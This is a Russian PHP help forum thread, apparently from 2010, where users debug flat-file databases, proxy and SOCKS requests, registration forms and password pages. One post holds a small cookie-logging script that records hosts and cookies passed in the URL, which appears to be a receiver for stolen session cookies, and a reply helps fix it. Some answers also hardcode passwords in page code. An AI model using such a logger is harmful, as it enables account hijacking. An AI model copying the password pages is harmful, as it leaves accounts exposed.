14.02.2010, 13:16
спс
я в своем коде всего одну строчку не дописал)

Redwood
14.02.2010, 14:52
Сначала curl_setopt($ch, CURLOPT_POST, 1);
а потом curl_setopt($ch, CURLOPT_POSTFIELDS, $post );
Это понятно. Это я скопипастил криво ) Проблему это не решает )

-=Zhenek=-
14.02.2010, 16:49
дел. Разобрался.

N2kroot
14.02.2010, 17:36
Помогите,возникла проблема,не могу решить в гугле нет ответа:

If(Isset($_GET['category']) and (Isset($_GET['altname']))){
//
$xfile = @file("categ/categ.dat");
for ($i=0;$i<count($xfile);$i++) {
$bd = explode("|",$xfile[$i]);
//
If($_GET["altname"]==$bd[1]){
$_GET["altname"]=$altname;
$x = @file("categ/{$altname}.dat");
$s=count($x);
$x = array_reverse($x);
for ($b=0;$b<$s;$b++) {
$bd = explode("|",$x[$b]);
echo "..MY CODE...";
Дело в том,что $_GET["altname"] никак не передаётся в файл,и,соответственно,он не открывается..Что делать?
Мне надо на основе GET строки в браузере(НАЖАЛИ НА ССЫЛКУ ТИПА SITE.php?altname=igri) составить запрос в ТЕКСТОВУЮ БД,и не стоит предлагать ВОЗМИ MYSQL..

Dark_cracker
14.02.2010, 17:47
Помогите,возникла проблема,не могу решить в гугле нет ответа:

If(Isset($_GET['category']) and (Isset($_GET['altname']))){
//
$xfile = @file("categ/categ.dat");
for ($i=0;$i<count($xfile);$i++) {
$bd = explode("|",$xfile[$i]);
//
If($_GET["altname"]==$bd[1]){
$_GET["altname"]=$altname;
$x = @file("categ/{$altname}.dat");
$s=count($x);
$x = array_reverse($x);
for ($b=0;$b<$s;$b++) {
$bd = explode("|",$x[$b]);
echo "..MY CODE...";
Дело в том,что $_GET["altname"] никак не передаётся в файл,и,соответственно,он не открывается..Что делать?
Мне надо на основе GET строки в браузере(НАЖАЛИ НА ССЫЛКУ ТИПА SITE.php?altname=igri) составить запрос в ТЕКСТОВУЮ БД,и не стоит предлагать ВОЗМИ MYSQL..

$_GET["altname"]=$altname;
ты вот эту строчку не перепутал ???
мож так будет правильнее ))
$altname=$_GET["altname"];

SEKTOR3A
14.02.2010, 17:54
не могу решить ,возникла проблема плиз где здесь ошибка
Warning: fopen(cookies.txt) [function.fopen]: failed to open stream: Permission denied in on line 1
Warning: fputs(): supplied argument is not a valid stream resource in on line 2
Warning: fclose(): supplied argument is not a valid stream resource in on line 3
сам скрипт

<?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET["host"].", COOKIES=”.$_GET["cook"]."rn");
fclose($file);
?>

Dark_cracker
14.02.2010, 18:12
не могу решить ,возникла проблема плиз где здесь ошибка
Warning: fopen(cookies.txt) [function.fopen]: failed to open stream: Permission denied in on line 1
Warning: fputs(): supplied argument is not a valid stream resource in on line 2
Warning: fclose(): supplied argument is not a valid stream resource in on line 3
сам скрипт

<?
$file = fopen("cookies.txt","a");
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET["host"].", COOKIES=”.$_GET["cook"]."rn");
fclose($file);
?>
Права на файл поставь )))
и перевод строки так пишеться )) \r\n

N2kroot
14.02.2010, 18:50
Помогите найти ошибку!
Parse error: syntax error, unexpected T_STRING in Z:\home\centre.php on line 97
Код:


If(Isset($_GET['category']) and (Isset($_GET['altname']))){
//
$xfile = @file("categ/categ.dat");
for ($i=0;$i<count($xfile);$i++) {
$bd = explode("|",$xfile[$i]);
//
If($_GET['altname']==$bd[1]){
$x = @file("categ/{$bd[1]}.dat");
$s=count($x);
$x = array_reverse($x);
for ($b=0;$b<$s;$b++) {
$bd = explode("|",$x[$b]);
echo "<table id=\"window\">
<tr>
<td id=\"wtitle\" class=\"ntitle\"><span class=\"category\"><a href=\"$self?category=$bd[0]\">$bd[0]</a></span>*/*<a href=\"$self?category=$bd[0]&altname=$bd[1]\">$bd[1]</a></td>
</tr><tr><td id=\"wconte\" class=\"news\"><p style=\"text-align: center\"><a href=\"$bd[2]\" class=\"highslide\"><img src=\"$bd[2]\" border=\"0\" alt=\"?\" /></a></p>$bd[3]</td>
</tr>
<tr><td id=\"wttle2\"><table width=\"100%\">
<tr>
<td class=\"slink\"><a href=\"$self?category=$bd[0]&altname=$bd[1]\"><b>Подробнее</b></a></td>
<td class=\"slink\" align=\"right\"> Просмотров: $bd[4] автор: <b><a href=\"$self?action=users&user=$bd[5]\" target=\"_blank\">$bd[5]</a></b> $bd[6] Комментарии ({$bd[7]})</td>
</tr>
</table></td></tr>
</table>";
}//Вывод ВСЕГО О НОВОСТИ + КОМЕНТЫ
}//Просмотр одной из НОВОСТЕЙ -- by name
}//BD BY NAME NEED
}//Просмотр одной из НОВОСТЕЙ
}//Если нету ACTION

If((Isset($_GET['action'])) and (!Isset($_GET['category'])) and (!Isset($_GET['altname']))){
If($_GET['action']=='registration'){
If(strlen($_POST['login']) >= '3' and strlen($_POST['password']) >= '3' strlen($_POST['password2']) >= '3' and strlen($_POST['email']) >= '3' and ($_POST['password']==$_POST['password2'])){
$nick = bdtext($_POST['login']);
$pass = bdtext($_POST['password']);
$pass2 = bdtext($_POST['password2']);
if($pass !== $pass2){ echo "<img src=images/help16.gif> [ Ошибка ] Пароли не совпадают!"; exit; }
$email = bdtext($_POST['email']);
$acc = '1';
$basemember="users/suser.dat";
$general = @file($basemember);
$lines = count($general);
for ( $i = 0; $i < $lines; $i++ ){
$bb=explode('|', $general[$i]);
if($_POST['login']==$bb[0]){ die("<img src=images/help16.gif> [ Ошибка ] Такой логин уже используется!");}
if($_POST['login']!==$bb[0] and strlen($_POST['login']) >='3' and strlen($_POST['password']) >='3' and $_POST['email']!==$bb[2]){
$fp=fopen($basemember,"a");
fwrite($fp,"$user|$pass|$email|0|0|Новенький|$acc|\r\ n");
fclose($fp);
echo "<script language='Javascript'>function reload() {location = \"$self?event=log\"}; setTimeout('reload()', 1500);</script>
<table width=100% height=80%><tr><td><table border=1 cellpadding=10 cellspacing=0 bordercolor=#224488 align=center valign=center width=60%><tr><td><center>
Спасибо за регистрацию! <B>$_POST['login']</B>,Через несколько секунд Вы будете автоматически перемещены в зону авторизации.<BR><BR>
</td></tr></table></td></tr></table></center></body></html>";
} //Успех в записи
}//Лазаем в бд на проверку
}//Проверка окончена
echo $regform;
}// Всё,что связано с регистрацией






}//ЕСЛИ ПОЛУЧЕНО ACTION
?>

suser
14.02.2010, 18:55
есть абсолют ссылка на стиль и относительн ссылка на картинку записаная в этом стиле.
Из етого мне надо получить абсолютн ссылку на картинку. Написал какойто бред :D
$a='http://123/css/nev/css.css';
$b='../../img/x/1.jpg'; //нужног получить http://123/img/x/1/jpg
$aa =explode('/', $a);
$bb =explode('/', $b);
if($bb[0] == '.' ) { unset ($aa[count($aa)]); $res = str_replace('./',implode('/',$aa),$b); }
if($bb[0] == '..' && $bb[1] == '..') { unset ($aa[count($aa)],$aa[count($aa)-1],$aa[count($aa)-2]); $res = str_replace('../../',implode('/',$aa),$b); }
if($bb[0] == '..' ) { unset ($aa[count($aa)],$aa[count($aa)-1]); $res = str_replace('../',implode('/',$aa),$b); }



это если на говногоде

собсна как сделать по норм я незнаю

Fepsis
14.02.2010, 18:55
Помогите найти ошибку!
Parse error: syntax error, unexpected T_STRING in Z:\home\centre.php on line 97


Написано же, что косяк в 97 строке... А ты код не весь выложил... Какая из этихстрок 97-я..?!!

N2kroot
14.02.2010, 18:58
Да,я выложил тот код,если его убрать то сайт ОТЛИЧНО дальше работает. Но без регистрации никак(

N2kroot
14.02.2010, 19:03
Нашёл ту ошибку: В длинной строке проверки по длине забыл один раз поставить and..
Другая нашлась:
echo "<script language='Javascript'>function reload() {location = \"$self?event=log\"}; setTimeout('reload()', 1500);</script>
<table width=100% height=80%><tr><td><table border=1 cellpadding=10 cellspacing=0 bordercolor=#224488 align=center valign=center width=60%><tr><td><center>
Спасибо за регистрацию! <B>$_POST['login']</B>,Через несколько секунд Вы будете автоматически перемещены в зону авторизации.<BR><BR>
</td></tr></table></td></tr></table></center></body></html>";
Тут типа ошибка Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING
Конкретно жалуется на строку :<table width=100% height=80%><tr><td><table border=1 cellpadding=10 cellspacing=0 bordercolor=#224488 align=center valign=center width=60%><tr><td><center>

Fepsis
14.02.2010, 19:09
Да,я выложил тот код,если его убрать то сайт ОТЛИЧНО дальше работает. Но без регистрации никак(
В сообщении же написано, что ошибка в 97 строке... Так зачем просить поверить такое количество кода, если можно проверить только одну строку... Но так как код не полный (не с начала), трудно понять какая из этих строк 97-я... Зачем людям жизь усложнять..?! :confused:

N2kroot
14.02.2010, 19:19
Если ты незнал,то обьясняю:
Эта ошибка возникает:
[ 1 ] Когда в коде в этой строке или до неё(неограниченно до нулевой) добущена ошибка типа нехватает ' или ; , в общем знака препинания в PHP
[ 2 ] Когда я удаляю этот участок кода,то регистрация опять работает..

LStr1ke
14.02.2010, 19:24
2 N2kroot

//Измени эту строчку
If(strlen($_POST['login']) >= '3' and strlen($_POST['password']) >= '3' strlen($_POST['password2']) >= '3' and strlen($_POST['email']) >= '3' and ($_POST['password']==$_POST['password2'])){

На

If(strlen($_POST['login']) >= '3' and strlen($_POST['password']) >= '3' and strlen($_POST['password2']) >= '3' and strlen($_POST['email']) >= '3' and ($_POST['password']==$_POST['password2'])){

GlooK
14.02.2010, 19:37
2 N2kroot

//Измени эту строчку
If(strlen($_POST['login']) >= '3' and strlen($_POST['password']) >= '3' strlen($_POST['password2']) >= '3' and strlen($_POST['email']) >= '3' and ($_POST['password']==$_POST['password2'])){

На

If(strlen($_POST['login']) >= '3' and strlen($_POST['password']) >= '3' and strlen($_POST['password2']) >= '3' and strlen($_POST['email']) >= '3' and ($_POST['password']==$_POST['password2'])){

А разве числовые значения пишут в кавычках?
Может быть так:

If(strlen($_POST['login']) >= 3 and strlen($_POST['password']) >= 3 and strlen($_POST['password2']) >= 3 and strlen($_POST['email']) >= 3 and ($_POST['password']==$_POST['password2'])){

LStr1ke
14.02.2010, 20:22
А разве числовые значения пишут в кавычках?
Может быть так:

If(strlen($_POST['login']) >= 3 and strlen($_POST['password']) >= 3 and strlen($_POST['password2']) >= 3 and strlen($_POST['email']) >= 3 and ($_POST['password']==$_POST['password2'])){


Разницы впринципе нет. $_POST['login'] - STRING, а не INTEGER.
Да и вообще это его код, я лишь указал на ошибку.

GlooK
14.02.2010, 21:50
Разницы впринципе нет. $_POST['login'] - STRING, а не INTEGER.
Да и вообще это его код, я лишь указал на ошибку.
Если внимательно присмотреться, то там не просто $_POST['login'], а strlen($_POST['login']).
Конструкция функции int strlen ( string string ), т.е. числовое значение.

ntldr
14.02.2010, 21:55
Скиньте кто-нибудь работающий пост запрос через СОКС, если у кого-то завалялся. Просто времени сейчас вообще нету разбираться с протоколом.

GlooK
14.02.2010, 22:03
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://ya.ru");
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_PROXY, "97.84.1.138:51411");
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, FALSE);
$result = curl_exec($ch);
echo $result;
curl_close($ch);
?>

ntldr
14.02.2010, 23:07
спасибо, а через сокеты нету?

pali4
14.02.2010, 23:15
Такс, привет
помогите пожалуйста.
Суть такова:
Есть таблица, в ней есть 2 поля id и name

в таком формате записано 4 записи.

1 vasya
2 petya
3 vasya
4 masha

так, вот видидте, тут 2 Васи, их нужно удалить..
тоесть в поле name очень много дубликатов, подскажите как удалить дубликаты, а одного Васю оставить.)

GlooK
14.02.2010, 23:19
2 ntldr,
Там довольно-таки сложно.
Могу только направление показать: http://www.nulled.ws/showpost.php?p=434579&postcount=4

vvy
15.02.2010, 00:04
pali4, таблица - массив оформленный таким способом?

$mos[0]['id']=1;
$mos[0]['name']='vasya';
$mos[1]['id']=2;
$mos[1]['name']='petya';
$mos[2]['id']=3;
$mos[2]['name']='vasya';

если да, то вот так:

foreach ($mos as $key => $value) $buf_mos[$value['name']]='';
$mos=Array();
foreach ($buf_mos as $key => $value) $mos[]=$key;
print_r($mos);

WNZRS
15.02.2010, 00:16
ntldr,
<?php
$proxy = '114.142.141.35';
$port = '8080';
$timeout = 30;
$url = 'http://wnezros.homeip.net/dump.php';
$domen = 'wnezros.homeip.net';
$post = 'name=value&name2=value2';

$data = "POST $url HTTP/1.0

Conection: Keep-Alive
Host: $domen
Content-Length: ".strlen($post)."
Content-Type: application/x-www-form-urlencoded

$post";

$sock = fsockopen($proxy, $port, $errno, $errstr, $timeout);
if($errno != 0) exit($errno.': '.$errstr.'<br>');

fputs($sock, $data);

$r = '';

while(!feof($sock))

{
$r .= fgets($sock);
}

fclose($sock);

echo $r;

?>

roxblnfk
15.02.2010, 00:29
вариант без прокси и без keep-alive:
$addr='/index.php';
$host='antichat.ru';//^^
$post='name='.urlencode('имя, например').
'&message='.urlencode('сообщение, или что там надо..');
$ss='';
if (false!=($f=fsockopen('IP или домен', 80, $errno, $errstr, 30))){
fputs ($f, "POST $addr HTTP/1.1\r\nContent-Type: ".
"application/x-www-form-urlencoded\r\nContent-Length: ".
strlen($post)."Host: $host\r\nConnection: close\r\n\r\n".$post);
while (!feof($f)) {
$ss.=fgets($f, 128);
}
fclose($f);
}
echo($ss);

Houze
15.02.2010, 00:32
Вопрос к тем кто учился на програмистов или специальности близкой к програмированию. Может у кого остались конспекты, методички и задания к курсовым??? Я разбираюсь на данный момент по книгам и мануалам с интернета, что-то написать уже могу - но хотелось бы увидеть чему учат в универах.
интересует php, C++, можно еще ассемблер.

ntldr
15.02.2010, 00:42
ntldr,
<?php
$proxy = '114.142.141.35';
$port = '8080';
$timeout = 30;
$url = 'http://wnezros.homeip.net/dump.php';
$domen = 'wnezros.homeip.net';
$post = 'name=value&name2=value2';

$data = "POST $url HTTP/1.0

Conection: Keep-Alive
Host: $domen
Content-Length: ".strlen($post)."
Content-Type: application/x-www-form-urlencoded

$post";

$sock = fsockopen($proxy, $port, $errno, $errstr, $timeout);
if($errno != 0) exit($errno.': '.$errstr.'<br>');

fputs($sock, $data);

$r = '';

while(!feof($sock))

{
$r .= fgets($sock);
}

fclose($sock);

echo $r;

?>

МНе кажется, или это под http-прокси? Через http я уже сделал, в соксах там надо какие-то бинарные пакеты отправлять вроде.

Синий
15.02.2010, 09:48
Добрый день, форумчане. Нужна помощь.
Выкладываю кусок кода из файловой фотогалереи:

print "<td align=center valign=top>";
print "<TABLE WIDTH=198 BORDER=0 CELLPADDING=0 CELLSPACING=0>";
print "<TR><TD COLSPAN=3><IMG SRC=\"$place/slide_01.gif\" WIDTH=198 HEIGHT=47></TD></TR>";
print "<TR><TD><IMG SRC=\"$place/slide_02.gif\" WIDTH=33 HEIGHT=86></TD>";
print "<TD><a href='#' onclick=\"window.open('popup.php?img=$imgdir/$a_img[$x]&w=$size[0]&h=$size[1]&t=$imgdir $imgnumber','$x','width=$size[0],height=$size[1],directories=no,location=no,menubar=no,scrollbars= no,status=no,toolbar=no,resizable=no');return false\" target=\"_blank\"><img src=\"$thumbnail\" height=$height width=$width border=0 alt='$a_img[$x]' style=\"filter:alpha(opacity=100)\" onmouseout=\"gradualfade(this,100,30,4)\" onmouseover=\"gradualfade(this,40,50,100)\"></a></TD>";
print "<TD><IMG SRC=\"$place/slide_04.gif\" WIDTH=35 HEIGHT=86></TD></TR><TR>";
print "<TD COLSPAN=3><IMG SRC=\"$place/slide_05.gif\" WIDTH=198 HEIGHT=56><br><font size=\"1\"><a href='#' onclick=\"window.open('popup.php?img=$imgdir/$a_img[$x]&w=$size[0]&h=$size[1]&t=$imgdir $imgnumber','$x','width=$size[0],height=$size[1],directories=no,location=no,menubar=no,scrollbars= no,status=no,toolbar=no,resizable=no');return false\" target=\"_blank\">$size[0] x $size[1]</a> | <a href='#' onclick=\"window.open('popup.php?img=$imgdir/$a_img[$x]&w=$halfw&h=$halfh&t=$imgdir $imgnumber','$x','width=$halfw,height=$halfh,direc tories=no,location=no,menubar=no,scrollbars=no,sta tus=no,toolbar=no,resizable=no');return false\" target=\"_blank\">1/2</a> | <a href='#' onclick=\"window.open('popup.php?img=$imgdir/$a_img[$x]&w=$quarterw&h=$quarterh&t=$imgdir $imgnumber','$x','width=$quarterw,height=$quarterh ,directories=no,location=no,menubar=no,scrollbars= no,status=no,toolbar=no,resizable=no');return false\" target=\"_blank\">1/4 size</a></font>";
caption($caption_name);
print "</TD></TR>";
print "</TABLE></center>";
print "</td>\n";

тут по клику мышки в отдельном окне открывает изображение.

есть галлерея на яве (http://studioad.ru/blog/iload_3_image_gallery/2010-02-11-105), хочу подключить режим открытия оттуда (сделано красивее, функциональней и быстрее).
Вот как написано в мануале :
Пример:
<a href='ссылка на открываемое изображение' rel='iLoad'>Текст или изображение</a>


Помогите переписать первый код что бы по клику на изображении открывалось фото не в отдельном окне, а использовались возможности галереи на яве.

С меня +++ :rolleyes:

krypt3r
15.02.2010, 11:23
ntldr, если еще актуально, то вот

<?php
$check_url = 'http://whatismyipaddress.com/';
$check_port = 80;
$check_host = str_replace (array ('http://', '/'), '', $check_url);
$check_hostent = inet_pton (gethostbyname ($check_host));

function send_query ($sock, $url) {
global $check_host;
global $check_url;
$query = "GET $url HTTP/1.1\r\n"
. "Host: $check_host\r\n"
. "Referer: $check_url\r\n"
. "Accept: *//**\r\n"
. "User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Ubuntu/9.04 (jaunty) Shiretoko/3.5.1\r\n"
. "Connection: close\r\n\r\n";
$sended = fwrite ($sock, $query);
$resp = '';
while ($buf = fread ($sock, 1024))
$resp .= $buf;
return $resp;
}

function socks4 ($proxy_host, $proxy_port, $timeout) {
global $check_port;
global $check_hostent;
$sock = fsockopen ($proxy_host, $proxy_port, $errno, $errstr, $timeout);
if (!$sock)
return array ('code' => -1, 'message' => "Connection error: [$errno] $errstr\n");

$sk4_conn = "\x04" // Socks version
. "\x01" // Connect
. pack ('n', $check_port) // Port
. $check_hostent // Remote address
. "\x00";
fwrite ($sock, $sk4_conn);
$resp = unpack ('C*', fread ($sock, 8));
if (!isset ($resp))
return array ('code' => -3, 'message' => 'Empty response');
if (count ($resp) < 8)
return array ('code' => -3, 'message' => 'Too short response from proxy');
if ($resp[1] != 0 && $resp[1] != 4)
return array ('code' => -2, 'message' => 'Not Socks4 proxy');
if ($resp[2] != 0x5a)
return array ('code' => -3, 'message' => 'Request rejected');
unset ($resp);
$resp = send_query ($sock, '/');
if (!isset ($resp))
return array ('code' => -6, 'message' => 'No response for query');
//my $ret = parse_content ($resp);
fclose ($sock);
return array ('code' => 0, 'message' => $resp);
}

function socks5 ($proxy_host, $proxy_port, $timeout) {
global $check_port;
global $check_hostent;
$sock = fsockopen ($proxy_host, $proxy_port, $errno, $errstr, $timeout);
if (!$sock)
return array ('code' => -1, 'message' => "Connection error: [$errno] $errstr\n");

$sk5_conn0 = "\x05" // Socks version
. "\x02" // Count of client authentication methods
. "\x00" // Method[0] = 0 No authentication
. "\x02"; // Method[1] = 2 Username/password
/*$sk5_conn0 = "\x05" // Socks version
. "\x01" // Count of client authentication methods
. "\x00"; // Method[0] = 0 No authentication*/
$sk5_conn1 = "\x05" // Socks version
. "\x01" // Connect
. "\x00" // Reserved, should = 0x00
. "\x01" // Address type, 1 - IPv4
. $check_hostent // Remote address
. pack ('n', $check_port); // Port
fwrite ($sock, $sk5_conn0);
$resp = unpack ('C*', fread ($sock, 2));
if (!isset ($resp))
return array ('code' => '-2', 'message' => 'Empty response');
if (count ($resp) < 2)
return array ('code' => -4, 'message' => 'Too short first response from server');
if ($resp[1] != 5)
return array ('code' => -2, 'message' => 'Not Socks5 proxy');
fwrite ($sock, $sk5_conn1);
$resp = unpack ('C*', fread ($sock, 10));
if (!isset ($resp) or count ($resp) == 0)
return array ('code' => -4, 'message' => 'Empty response');
if (count ($resp) < 10)
return array ('code' => -6, 'message' => 'Too short second response from proxy');
if ($resp[2] != 0)
return array ('code' => -5, 'message' => 'Connection rejected');
if ($resp[5] == 0 && $resp[6] == 0 && $resp[7] == 0 && $resp[8])
return array ('code' => -6, 'message' => 'SOCKS5 error');

unset ($resp);
$resp = send_query ($sock, '/');
if (!isset ($resp))
return array ('code' => -8, 'message' => 'No response for query');
//$ret = parse_content ($resp);
fclose ($sock);
return array ('code' => 0, 'message' => $resp);
}


//$proxy = '96.237.228.5:50549'; // socks4
$proxy = '202.102.72.38:1080';

list ($host, $port) = explode (':', $proxy);
echo $proxy, "\n";
$res = socks5 ($host, $port, 30);
echo "Result\n";
print_r ($res);
?>

-=Zhenek=-
15.02.2010, 12:05
Помогите( уже сил нет.

у нас есть объявление:
Известно,что оно добавлено в : 1266218056
И должно исчезнуть в 15.2.2010 9:14:38
как мне узнать сколько ему осталось висеть в формате (n дней t часов m минут s секунд)

например (0 дней 5 часов 10 мин 25 секунд)

уже мозг кипит(

Compton
15.02.2010, 12:24
-=Zhenek=-
думаю,что надо спарсить значение,а потом из большего вычесть меньшее

-=Zhenek=-
15.02.2010, 12:28
-=Zhenek=-
думаю,что надо спарсить значение,а потом из большего вычесть меньшее

Я это понял.
Вот какой код у меня :


$date = date("d.m.Y g:i:s", $mget['13']);
$ost = strtotime($mget[15])-time();
if($ost<=0) {$date2="Неактивно";
}else{
$mounth = floor($ost/2592000); if($mounth == 0){$mounth="";$mmm=0;}else{$mmm=$mounth;$mounth.=mounth($mounth ). ",";}
$day = floor(($ost/86400)-($mmm*30)); if($day == 0){$day="";}else{$day.=day($day);}
if($day == "") {
$hours = floor($ost/3600);
$hhh= $hours;
$hours.=hour($hours);
$min = floor(($ost/60)-($hhh*60))."минут";
}
}


Но он работает нестабильно,если речь идет о часах. Тоесть если сейчас 12 часов а объявление нужно убрать в 13 он скажет неактивно. Разница будет отрицательной...

Синий
15.02.2010, 13:48
народ, мне кто сможет помочь?.. думаю, дел там на 2 минуты всего...

vvy
15.02.2010, 13:49
-=Zhenek=-, переведи дату удаления в метку времени функцией mktime,а потом вычти из нее текущую метку времени

pali4
15.02.2010, 13:59
Такс, привет
помогите пожалуйста.
Суть такова:
Есть таблица, в ней есть 2 поля id и name

в таком формате записано 4 записи.

1 vasya
2 petya
3 vasya
4 masha

так, вот видидте, тут 2 Васи, их нужно удалить..
тоесть в поле name очень много дубликатов, подскажите как удалить дубликаты, а одного Васю оставить.)

помогите пожалуйста

-=Zhenek=-
15.02.2010, 14:08
в php это можно сделать циклами.
Но лучше запости в разделе базы данных,там можно одним запросом удалить все дубликаты типа такого :

DELETE tn FROM table_name tn JOIN (SELECT MAX(ID) AS ID FROM TABLE_NAME GROUP BY unique_key HAVING COUNT(*) > 1) tn2 USING(ID)

а мы тебе если надо лучше поможем, как в скипте при добавлении не допустить дубликаты =)

pali4
15.02.2010, 14:15
а мы тебе если надо лучше поможем, как в скипте при добавлении не допустить дубликаты =)

Нет)
Это вы мне точно не поможете)

vvy
15.02.2010, 14:34
pali4, а почему мой способ не подходит?

pali4
15.02.2010, 14:38
Да и его тоже не подошёл, нихера не удаляет.
я в ступоре

vvy
15.02.2010, 14:40
pali4, все он удаляет, значит у тебя массив не так задан, как у меня и все, разбери пример, да перипиши для себя или сделай print_r и выложи сюда

-=Zhenek=-
15.02.2010, 14:47
Да и его тоже не подошёл

названия таблиц изменил? или так и запустил? О_о

b3
15.02.2010, 15:49
Уже решено.
CREATE TABLE copy_users SELECT * FROM users;
ALTER IGNORE TABLE copy_users ADD UNIQUE (name);
DROP TABLE `users`;
RENAME TABLE `users`.`copy_users` TO `users`.`users` ;

WNZRS
15.02.2010, 15:57
Помогите
<?php
$start_time = time(); // Время отсчёта: если time() то сколько осталось жить, если время старта то сколько всего проживёт
$end_time = mktime(9, 14, 38, 2, 16, 2010); // время конца
$timer = $end_time - $start_time;

if($timer < 0) echo 'Должно было убраться ';
else echo 'Уберётся через ';

$timer = abs($timer);

$day = floor($timer/(3600*24));
$timer -= $day*3600*24;
$hour = floor($timer/3600);
$timer -= $hour*3600;
$min = floor($timer/60);
$timer -= $min*60;
$sec = $timer;

echo $day.'д '.$hour.'ч '.$min.'мин '.$sec.'сек';

?>

Синий
15.02.2010, 17:02
Меня слышно?.. народ, помогите PLZ!!!

m0Hze
15.02.2010, 17:34
Добрый день, форумчане. Нужна помощь.
Выкладываю кусок кода из файловой фотогалереи:

print "<td align=center valign=top>";
print "<TABLE WIDTH=198 BORDER=0 CELLPADDING=0 CELLSPACING=0>";
print "<TR><TD COLSPAN=3><IMG SRC=\"$place/slide_01.gif\" WIDTH=198 HEIGHT=47></TD></TR>";
print "<TR><TD><IMG SRC=\"$place/slide_02.gif\" WIDTH=33 HEIGHT=86></TD>";
print "<TD><a href='#' onclick=\"window.open('popup.php?img=$imgdir/$a_img[$x]&w=$size[0]&h=$size[1]&t=$imgdir $imgnumber','$x','width=$size[0],height=$size[1],directories=no,location=no,menubar=no,scrollbars= no,status=no,toolbar=no,resizable=no');return false\" target=\"_blank\"><img src=\"$thumbnail\" height=$height width=$width border=0 alt='$a_img[$x]' style=\"filter:alpha(opacity=100)\" onmouseout=\"gradualfade(this,100,30,4)\" onmouseover=\"gradualfade(this,40,50,100)\"></a></TD>";
print "<TD><IMG SRC=\"$place/slide_04.gif\" WIDTH=35 HEIGHT=86></TD></TR><TR>";
print "<TD COLSPAN=3><IMG SRC=\"$place/slide_05.gif\" WIDTH=198 HEIGHT=56><br><font size=\"1\"><a href='#' onclick=\"window.open('popup.php?img=$imgdir/$a_img[$x]&w=$size[0]&h=$size[1]&t=$imgdir $imgnumber','$x','width=$size[0],height=$size[1],directories=no,location=no,menubar=no,scrollbars= no,status=no,toolbar=no,resizable=no');return false\" target=\"_blank\">$size[0] x $size[1]</a> | <a href='#' onclick=\"window.open('popup.php?img=$imgdir/$a_img[$x]&w=$halfw&h=$halfh&t=$imgdir $imgnumber','$x','width=$halfw,height=$halfh,direc tories=no,location=no,menubar=no,scrollbars=no,sta tus=no,toolbar=no,resizable=no');return false\" target=\"_blank\">1/2</a> | <a href='#' onclick=\"window.open('popup.php?img=$imgdir/$a_img[$x]&w=$quarterw&h=$quarterh&t=$imgdir $imgnumber','$x','width=$quarterw,height=$quarterh ,directories=no,location=no,menubar=no,scrollbars= no,status=no,toolbar=no,resizable=no');return false\" target=\"_blank\">1/4 size</a></font>";
caption($caption_name);
print "</TD></TR>";
print "</TABLE></center>";
print "</td>\n";

тут по клику мышки в отдельном окне открывает изображение.

есть галлерея на яве (http://studioad.ru/blog/iload_3_image_gallery/2010-02-11-105), хочу подключить режим открытия оттуда (сделано красивее, функциональней и быстрее).
Вот как написано в мануале :
Пример:
<a href='ссылка на открываемое изображение' rel='iLoad'>Текст или изображение</a>


Помогите переписать первый код что бы по клику на изображении открывалось фото не в отдельном окне, а использовались возможности галереи на яве.

С меня +++ :rolleyes:
Отношение к PHP => 0.

t4Nk
15.02.2010, 17:34
Помогите( уже сил нет.

у нас есть объявление:
Известно,что оно добавлено в : 1266218056
И должно исчезнуть в 15.2.2010 9:14:38
как мне узнать сколько ему осталось висеть в формате (n дней t часов m минут s секунд)

например (0 дней 5 часов 10 мин 25 секунд)

так что-ли? :D

$str = '15.2.2010 9:14:38';
$time = 1266218056;
echo date('z\d H\h i\m s\s', strtotime($str) - $time);
// выведет 0d 02h 00m 22s

Синий
15.02.2010, 17:37
m0Hze, это кусок из php-файла...

Doger
15.02.2010, 20:18
Напишите пжалста форму ввода пароля... чтоб введя верный пароль юзера редиректило на нужную страницу, а при не верном писало "неверный пароль"

Не против что в исходном коде страницы пароль будет палиться

Спасибо! Жду с нетерпением =)

WNZRS
15.02.2010, 20:26
<?php
if(!isset($_POST['login'] || !isset($_POST['pass']))
echo '<form action="" method="POST"><input name="login" value="Login"><input type="password" name="pass"><input type="submit"></form>';
else
{
if(strcmp($_POST['login'], 'admin') == 0 && strcmp($_POST['pass'], '123456') == 0)
{
header('Location: userpanel.html');
exit();
}
else exit('Error: неверный пароль');
}
?>

Compton
15.02.2010, 20:34
WNZRS Зачем так много?

<html>
<form id="form1" name="form1" method="post" action="">
<input name="pass" type="text" id="pass" />
<input type="submit" name="Submit" value="Дальше" />
</form>


</html>
<?php
$pass=$_POST['pass'];
if($pass==antichat){
header("Location: http://google.com");
}else{
echo "пароль неверный";
}
?>

m0Hze
15.02.2010, 20:42
Напишите пжалста форму ввода пароля... чтоб введя верный пароль юзера редиректило на нужную страницу, а при не верном писало "неверный пароль"

Не против что в исходном коде страницы пароль будет палиться

Спасибо! Жду с нетерпением =)
Тогда пиши на JS.

b3
15.02.2010, 21:42
Напишите пжалста форму ввода пароля... чтоб введя верный пароль юзера редиректило на нужную страницу, а при не верном писало "неверный пароль"

Не против что в исходном коде страницы пароль будет палиться

Спасибо! Жду с нетерпением =)


<script type="text/javascript">
function chek_pass() {
var pass = document.getElementById('pass');
if(pass.value == '123') {
document.location.href='url';
} else {
alert('wrong password');
}
}
</script>
<form method="post" enctype="application/x-www-form-urlencoded">
<input type="password" name="pass" id="pass">
<input type="button" onclick="chek_pass();" value="Enter">
</form>

Парол палится в исходном коде страницы, по желанию автора)))

ReduKToR
15.02.2010, 22:08
<?
$password = ("11111");
if ($_POST['pass'] == $password)
{ echo'Все ок'}else{echo'<HTML><HEAD>
<META HTTP-EQUIV='Refresh' CONTENT='2; URL=index.php'>
</HEAD><body>Ошибко при введении пасворда."; }

echo'<form method="post" action"index.php">
<input type="password" name="pass">
<input type="hidden" name="parol_palitsya value"'.$password.'"">
<input type="submit" name="Submit" value="Вход" />
</form>';
?>
Ну типа вот так чтоле///пароль палится

b3
16.02.2010, 00:28
